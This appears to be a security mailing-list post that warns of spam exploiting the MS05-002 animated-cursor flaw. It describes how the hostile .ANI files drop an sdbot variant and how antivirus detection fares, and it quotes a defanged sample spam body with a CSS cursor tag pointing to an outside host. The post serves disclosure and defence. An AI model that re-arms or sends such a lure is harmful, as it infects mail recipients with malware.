ANI Exploits in Spam

["James C. Slora, Jr." <james.slora () phra com>]

FYI -

Today we received dozens of spam messages with cursor style tags that
point to hostile .ANI files exploiting the cursor and icon vulnerability
from MS05-002.
 
The ANI files in my spam get downloaded from an apparently compromised
set of virtual servers sharing a box. On a vulnerable system, the ANI
will download and execute a variant of sdbot named hi.exe from a server
registered to a different ISP. 

Older versions of Outlook will download the hostile ANI if the message
gets previewed in HTML.

VirusTotal showed about half the vendors detected the hostile ANI file
under various names, and only a few detected the packed sdbot in hi.exe.

I do have samples if anyone is interested. 

There are many different message subjects and message bodies following
similar forms. The ANI files also have a different name on each virtual
server. 

Typical hostile spam body is below. I removed the < from the style tags,
and the specific site from the url.


Keep your motor running dude as you're into a surprise. I;mcoming home
tonight and taking you out. happy birthday love Jess

style>* {CURSOR: url("http://SiteStillLive-Removed/m89.ani";)}/style>